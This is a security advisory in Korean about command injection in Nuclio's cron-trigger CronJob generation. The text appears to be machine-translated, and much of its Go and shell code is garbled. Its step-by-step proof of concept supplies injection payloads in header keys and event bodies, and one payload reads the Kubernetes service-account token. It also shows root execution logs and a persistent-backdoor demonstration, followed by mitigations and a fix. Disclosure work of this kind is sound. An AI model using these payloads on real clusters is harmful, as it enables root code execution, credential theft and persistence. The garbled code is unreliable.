Nuclio: CronJob 셸 명령에 삽입된 정제되지 않은 cron 트리거 이벤트 헤더/본문으로 인해 지속적인 RCE가 발생함
Nuclio 컨트롤러는 각 cron 트리거에 대해 'curl' 호출 문자열을 구축하고 이를 Kubernetes CronJob 컨테이너(/bin/sh, -c, <command>)의 args로 저장합니다. 트리거 사양의 두 필드는 적절한 정리 없이 이 문자열로 흘러갑니다.
event.headers 키 — 큰따옴표로 묶인 --header 인수 안에 축어적으로 보간됩니다(lazy.go:2150). "를 포함하는 키는 인용 문맥을 깨뜨립니다.event.body — strconv.Quote로 처리됩니다. 이는 " 및 \를 이스케이프하지만 $()는 이스케이프하지 않으므로 명령 대체(lazy.go:2188)가 가능합니다.두 경로 모두 Nuclio 1.15.27(2026-05-17 기준 최신)에서 동적으로 확인되었습니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 9.9(긴급)cron 트리거가 있는 NuclioFunction이 컨트롤러에 의해 조정되면 pkg/platform/kube/functionres/lazy.go:2113에서 generateCronTriggerCronJobSpec을 호출합니다. 이 함수는 사용자가 제공한 값을 연결하여 쉘 명령 문자열을 작성하고 이를 /bin/sh -c에 직접 전달합니다.
Path-A — 헤더 키 삽입(lazy.go:2146-2151)
``가다 // 게으른.go:2146-2151 headersAsCurlArg := "" headerKey := 범위 속성의 경우.Event.Headers { headerValue := attribute.Event.GetHeaderString(headerKey) headersAsCurlArg = fmt.Sprintf("%s --header "%s: %s"", headersAsCurlArg, headerKey, headerValue) // ↑ // headerKey는 사용자가 제어합니다. 이스케이프 적용 안됨 }
`headerKey`는 트리거 사양의 `event.headers`에서 가져옵니다. 큰따옴표로 묶인 쉘 인수 내에서 직접 보간되기 때문에 `"`를 포함하는 키는 인용 컨텍스트를 종료합니다. 그런 다음 키의 나머지 부분은 원시 쉘 구문으로 해석됩니다.
`headerKey`에 대한 공격 문자열:
X-주입"; 임의_명령; 에코 "
결과 쉘 명령 조각:
``배쉬
--header "X-주입"; 임의_명령; 에코 ": 값"
Path-B — 본문 명령 대체(lazy.go:2173-2192)
``가다 // 게으른.go:2188-2192 curlCommand = fmt.Sprintf("echo %s > %s && %s %s", strconv.Quote(eventBody), // " → " 및 \ → \를 이스케이프하지만 $()는 이스케이프하지 않습니다. 이벤트바디파일경로, 컬명령, eventBodyCurlArg)
`strconv.Quote`는 문자열을 큰따옴표로 묶고 `"` 및 `\`를 이스케이프하지만 `$`, `(` 또는 `)`을 이스케이프하지는 않습니다. `$(CMD)`의 본문 값은 Go 문자열 `"$(CMD)"`가 되며, 쉘은 `/bin/sh -c` 문자열을 실행할 때 명령 대체로 확장합니다.
`event.body`에 대한 공격 문자열:
$(ARBITRARY_COMMAND)
결과 쉘 명령:
``배쉬
echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && 컬 ...
실행 싱크(lazy.go:2212)
``가다 // 게으른.go:2212 인수: []string{"/bin/sh", "-c", 컬Command}
삽입된 내용을 포함하여 연결된 전체 문자열이 셸에 의해 실행됩니다.
**지속성 메커니즘**
컨트롤러에 의해 생성된 CronJob에는 이를 NuclioFunction에 연결하는 'ownerReferences'가 없습니다. Kubernetes 계단식 삭제는 소유한 리소스에만 적용됩니다. 함수 삭제와 명시적 CronJob 삭제 사이에 컨트롤러가 충돌하는 경우 CronJob은 일정에 따라 무기한으로 계속 실행됩니다. 컨트롤러 코드 자체는 `lazy.go:522`에서 이를 승인합니다.
``가다
// 배포 전에 함수 k8s CronJobs를 삭제하여 새로운 생성을 방지합니다.
// CronJob은 배포의 소유가 아니므로 캐스케이드에서는 이를 제거하지 않습니다.
다음 단계는 격리된 로컬 환경에서 취약점을 재현합니다.
1단계 — 필수 구성 요소 설치
``배쉬
컬 -Lo /usr/local/bin/kind
https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind
컬 https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | 강타
**2단계 — 격리된 종류의 클러스터 생성**
``배쉬
종류 생성 클러스터 --name vul-010
kubectl 클러스터 정보 --context 종류-vul-010
예상 출력:
Kubernetes 제어 영역이 https://127.0.0.1:xxxxx에서 실행 중입니다.
3단계 - Nuclio 배포(최신 1.15.27)
``배쉬 helm repo 추가 nuclio https://nuclio.github.io/nuclio/charts 헬름 저장소 업데이트
kubectl 네임스페이스 생성 nuclio
helm 설치 nuclio nuclio/nuclio
--네임스페이스 nuclio
--kube-context 종류-vul-010
--버전 0.21.27
--set Dashboard.enabled=true
--controller.enabled=true로 설정
컨트롤러가 준비될 때까지 기다립니다.
``배쉬
kubectl wait --for=condition=사용 가능한 배포/nuclio-controller \
-n nuclio --context kind-vul-010 --timeout=120s
4단계 - NuclioProject 생성
``배쉬 kubectl apply --context kind-vul-010 -f - <<'EOF' api버전: nuclio.io/v1beta1 종류: 뉴클리오프로젝트 메타데이터: 이름: 기본값 네임스페이스: nuclio 사양: 설명: "기본 프로젝트" EOF
**5단계 — 함수 배포를 위한 자리 표시자 이미지 준비**
배포 기능을 생성하려면 컨트롤러에 비어 있지 않은 이미지 필드가 필요합니다. 호스트에 이미 존재하는 작은 이미지를 로드합니다.
``배쉬
# 자리 표시자 함수 이미지로 alpine 태그 지정
도커 태그 gcr.io/iguazio/alpine:3.20 자리 표시자 기능:최신
종류 로드 docker-image 자리 표시자 기능:최신 --name vul-010
# 또한 CronJob 실행기 이미지(적절한/curl 또는 sh 가능 이미지)를 로드합니다.
도커 태그 gcr.io/iguazio/alpine:3.20 적절한/curl:latest
종류 로드 docker-image 적절한/curl:latest --name vul-010
6단계 - 악성 헤더 키를 사용하여 NuclioFunction 생성
헤더 키의 주입 페이로드는 다음과 같습니다.
X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
``배쉬 kubectl apply --context kind-vul-010 -f - <<'EOF' api버전: nuclio.io/v1beta1 종류: NuclioFunction 메타데이터: 이름: vul010-rce-visible 네임스페이스: nuclio 라벨: nuclio.io/프로젝트 이름: 기본값 사양: 이미지: 자리 표시자 기능:최신 런타임: 파이썬:3.9 핸들러: 메인:핸들러 빌드: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" 트리거: 크론 주입: 종류: 크론 속성: 일정: "*/1 * * * *" 이벤트: 헤더: X-Normal: 안전값 'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': 마커 최소복제본: 1 최대복제본: 1 EOF
**7단계 - 컨트롤러를 트리거하여 CronJob 생성**
``배쉬
kubectl 패치 nucliofunction vul010-rce-visible -n nuclio \
--컨텍스트 종류-vul-010 \
--type=병합 \
-p '{"status":{"state":"waitingForResourceConfiguration"}}'
컨트롤러가 조정될 때까지 10초 정도 기다린 후 CronJobs를 나열합니다. ``배쉬 kubectl get cronjob -n nuclio --context kind-vul-010
예상 출력:
이름 일정 일시 중지 활성 마지막 일정 연령 nuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 <없음> 12s
**8단계 - 생성된 CronJob 명령 검사(정적 확인)**
``배쉬
CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
-o jsonpath='{.items[0].metadata.name}')
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
-o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
| python3 -m json.tool
검증의 실제 출력: ``json [ "/bin/sh", "-c", "curl --silent --header "X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo ": marker" --header "X-Normal: 안전 값" --header "X-Nuclio-Invoke-Trigger: cron" --header "X-Nuclio-대상: vul010-rce-visible" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused" ]
삽입된 명령은 쉘로 구분된 명령문 사이에 명확하게 포함됩니다.
**9단계 - CronJob 실행을 수동으로 트리거(동적 확인)**
``배쉬
kubectl 작업 생성 --from=cronjob/"$CJ_NAME" \
vul010-rce-proof -n nuclio --컨텍스트 종류-vul-010
# 포드가 완료될 때까지 기다립니다.
kubectl wait pod -n nuclio --context kind-vul-010 \
-l 작업 이름=vul010-rce-proof \
--for=조건=준비 --timeout=30s 2>/dev/null || 사실
POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
-l 작업 이름=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')
kubectl은 "$POD"를 기록합니다 -n nuclio --context kind-vul-010
검증의 실제 Pod 로그 출력:
/bin/sh: 컬: 찾을 수 없음
===RCE_확인됨===
uid=0(루트) gid=0(루트) 그룹=0(루트),1(bin),2(데몬),3(sys),4(adm),6(디스크),10(휠),11(플로피),20(다이얼아웃),26(테이프),27(비디오)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: 안전 값 ...
curl은 "X-Inject"에서 즉시 종료됩니다(Alpine에서는 컬 바이너리가 없음).echo "===RCE_CONFIRMED===" 실행 — 주입 확인id 실행 — 컨테이너는 uid=0(root)로 실행됩니다.cat .../토큰 | head -c 50은 K8s SA 토큰의 처음 50바이트를 추출합니다.10단계 - 악성 이벤트 본문으로 NuclioFunction 생성
``배쉬 kubectl apply --context kind-vul-010 -f - <<'EOF' api버전: nuclio.io/v1beta1 종류: NuclioFunction 메타데이터: 이름: vul010-body-inject 네임스페이스: nuclio 라벨: nuclio.io/프로젝트 이름: 기본값 사양: 이미지: 자리 표시자 기능:최신 런타임: 파이썬:3.9 핸들러: 메인:핸들러 빌드: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" 트리거: 크론 본문: 종류: 크론 속성: 일정: "*/1 * * * *" 이벤트: 본문: "$(id 1>&2; echo BODY_INJECTION_PROOF)" 최소복제본: 1 최대복제본: 1 EOF
kubectl patch nucliofunction vul010-body-inject -n nuclio
--컨텍스트 종류-vul-010
--type=병합
-p '{"status":{"state":"waitingForResourceConfiguration"}}'
**11단계 - CronJob 명령 확인(정적)**
``배쉬
수면 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
-l "nuclio.io/function-name=vul010-body-inject" \
-o jsonpath='{.items[0].metadata.name}')
kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
-o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
| python3 -m json.tool
검증의 실제 출력: ``json [ "/bin/sh", "-c", "echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && 컬 --silent --header "X-Nuclio-Invoke-Trigger: cron" --header "X-Nuclio-Target: vul010-body-inject" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..." ]
`$()`는 `/bin/sh -c`에 전달된 큰따옴표로 묶인 문자열 내에 이스케이프되지 않은 상태로 존재합니다.
**12단계 — 동적 실행**
``배쉬
kubectl 작업 생성 --from=cronjob/"$CJ_NAME_B" \
vul010-body-proof -n nuclio --컨텍스트 종류-vul-010
POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
-l 작업 이름=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')
kubectl은 "$POD_B"를 기록합니다 -n nuclio --context kind-vul-010
검증의 실제 Pod 로그 출력:
uid=0(루트) gid=0(루트) 그룹=0(루트),1(bin),2(데몬),3(sys),4(adm),6(디스크),10(휠),11(플로피),20(다이얼아웃),26(테이프),27(비디오)
/bin/sh: 컬: 찾을 수 없음
id는 curl이 시도되기 전에 $() 확장을 통해 루트로 실행되었습니다.
13단계 - CronJob에 ownerReference가 없는지 확인
``배쉬
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010
-o jsonpath='{.metadata.ownerReferences}'
예상: 비어 있음(출력 없음)
**14단계 — 기능 삭제 중 컨트롤러 충돌 시뮬레이션**
``배쉬
# 컨트롤러를 중지합니다
kubectl scale 배포 nuclio-controller -n nuclio \
--컨텍스트 종류-vul-010 --replicas=0
# 함수 삭제
kubectl 삭제 nucliofunction vul010-rce-visible -n nuclio \
--컨텍스트 종류-vul-010
수면 5
# 함수가 사라졌습니다. — CronJob이 남아 있습니다.
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010
검증의 실제 출력:
# Nuclio 기능:
이름 나이
vul010-body-inject2 2분 30초
(vul010-rce-visible 삭제됨 - 목록에 없음)
# 크론잡:
이름 일정 일시 중지 활성
nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * 거짓 0
(삭제된 함수에 속한 CronJob — 계속 실행 중)
15단계 - 영구 백도어 실행
``배쉬
kubectl 작업 생성 --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170
vul010-persist-backdoor -n nuclio --컨텍스트 종류-vul-010
kubectl 로그 vul010-persist-backdoor-* -n nuclio --context kind-vul-010
검증의 실제 Pod 로그 출력:
/bin/sh: 컬: 찾을 수 없음 PERSISTENT_BACKDOOR_ACTIVE : 공격자-값 --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...
삽입된 명령은 소스 함수가 삭제된 후에 실행됩니다.
---
### 정리
``배쉬
kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
종류 삭제 클러스터 --name vul-010
원격 코드 실행: 대시보드 API(기본적으로 인증되지 않음)에 대한 네트워크 액세스 권한이 있는 공격자는 예약된 매 틱마다 CronJob 포드 내에서 임의의 셸 명령을 실행할 수 있습니다.
루트로 실행: 확인 중에 모든 CronJob Pod가 uid=0(root)로 실행되는 것으로 확인되었습니다.
ServiceAccount 토큰 유출: 포드에 탑재된 SA 토큰(/var/run/secrets/kubernetes.io/serviceaccount/token)은 삽입된 명령으로 읽을 수 있으며 삽입된 curl 호출을 통해 공격자가 제어하는 호스트로 유출될 수 있습니다. 이 토큰을 사용하면 다음이 가능합니다.
지속적 백도어: CronJob 리소스에는 'ownerReferences'가 없으며 Kubernetes에서 가비지 수집하지 않습니다. 컨트롤러를 사용할 수 없는 상태와 명시적인 정리 사이의 기간에서 CronJob은 구성된 일정(최소 1분마다)에 따라 공격자의 명령을 계속 실행합니다. 이는 기능 삭제, Nuclio 재배포 또는 공격자 대시보드 액세스 손실 이후에도 지속됩니다.
클라우드 환경 측면 이동: 관리형 Kubernetes 환경(AWS EKS, GCP GKE, Azure AKS)에서 삽입된 명령은 클라우드 인스턴스 메타데이터 서비스에 액세스하여 IAM 자격 증명을 검색할 수 있으므로 클러스터 외부 측면 이동이 가능합니다.
긴급 — CVSS 3.1 점수: 9.9
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 미터법 | 가치 | 근거 |
|---|---|---|
| 공격 벡터 | 네트워크 | 대시보드는 네트워크에 액세스할 수 있습니다 |
| 공격 복잡성 | 낮음 | 전제조건 없음; 간단한 페이로드 |
| 필요한 권한 | 없음 | NOP 인증은 기본 구성입니다. |
| 사용자 상호작용 | 없음 | API를 통해 완전 자동화 |
| 범위 | 변경됨 | 영향이 포드 경계를 넘어 클러스터로 |
| 기밀성 | 높음 | SA 토큰, 비밀 읽기 가능 |
| 무결성 | 높음 | 루트로 임의 명령 실행 |
| 가용성 | 높음 | 영구 CronJob은 클러스터 리소스를 고갈시킬 수 있음 |
현재 프로덕션 릴리스를 포함하는 Kubernetes CronJob 기반 크론 트리거를 지원하는 모든 Nuclio 버전입니다.
https://github.com/nuclio/nuclio/releases/tag/1.16.4
네트워크 수준 제한: 인증된 장치 뒤에 Nuclio Dashboard를 배치합니다. 역방향 프록시를 사용하거나 포트 8070을 신뢰할 수 있는 네트워크로만 제한하세요. 이는 할 수 있는 사람을 제한합니다. 기능 사양을 제출합니다.
크론 트리거 비활성화: 크론 트리거 기능이 필요하지 않은 경우 생성을 피하세요.
kind: cron 트리거와 함께 작동합니다.
RBAC 제한: Nuclio 컨트롤러에서 batch API 그룹 권한을 제거합니다.
CronJob 생성을 방지하는 ServiceAccount입니다. 참고: 이는 cron 트리거를 비활성화합니다.
기능을 완전히.
위의 어느 것도 근본 원인을 제거하지 못합니다. 노출을 줄일 뿐입니다.
pkg/platform/kube/functionres/lazy.go
strconv.Quote를 사용한 본문 보간Args: []string{"/bin/sh", "-c",curlCommand}strconv.Quote 문서로 이동: $, (, ) 또는 백틱을 이스케이프하지 않습니다.AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HP0 — 셸 레이어 제거(기본 수정)
/bin/sh -c <string> 호출을 exec 형식 인수 목록으로 바꿉니다. 이
쉘 해석을 완전히 제거합니다.
``가다 // 현재(취약함):lazy.go:2212 인수: []string{"/bin/sh", "-c", 컬Command}
// 수정됨: 컬 인수를 []문자열 슬라이스로 빌드 func buildCurlArgs(headers map[string]string, body, address string) []string { args := []string{"curl", "--silent"} k, v := 범위 헤더의 경우 { args = 추가(args, "--header", k+": "+v) } 만약 본문 != "" { args = 추가(args, "--data", 본문) } args = 추가(args, "--retry", "10", "--retry-delay", "1", "--retry-max-time", "10", "--retry-connrefused", 주소) 인수 반환 }
// 컨테이너 사양: 컨테이너{ 명령: 없음, 인수: buildCurlArgs(headersMap, eventBody, functionAddress), }
exec 형식을 사용하면 각 인수가 셸 없이 프로세스에 직접 전달됩니다.
해석. 인용이나 이스케이프가 필요하지 않습니다.
**P1 — 셸 안전 인용(셸이 필요한 경우 대체)**
셸 호출을 유지해야 하는 경우 모든 항목에 적절한 POSIX 셸 인용을 적용하세요.
보간 전 사용자 제공 값. Python의 `shlex.quote`와 동일합니다.
Go로 구현해야 합니다.
``가다
func shellQuote(s string) 문자열 {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
'headerKey', 'headerValue' 및 'eventBody'에 삽입하기 전에 모두 적용하세요. 명령 문자열.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 100.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 100.00 |
VPI 공식 vpi-v1 기준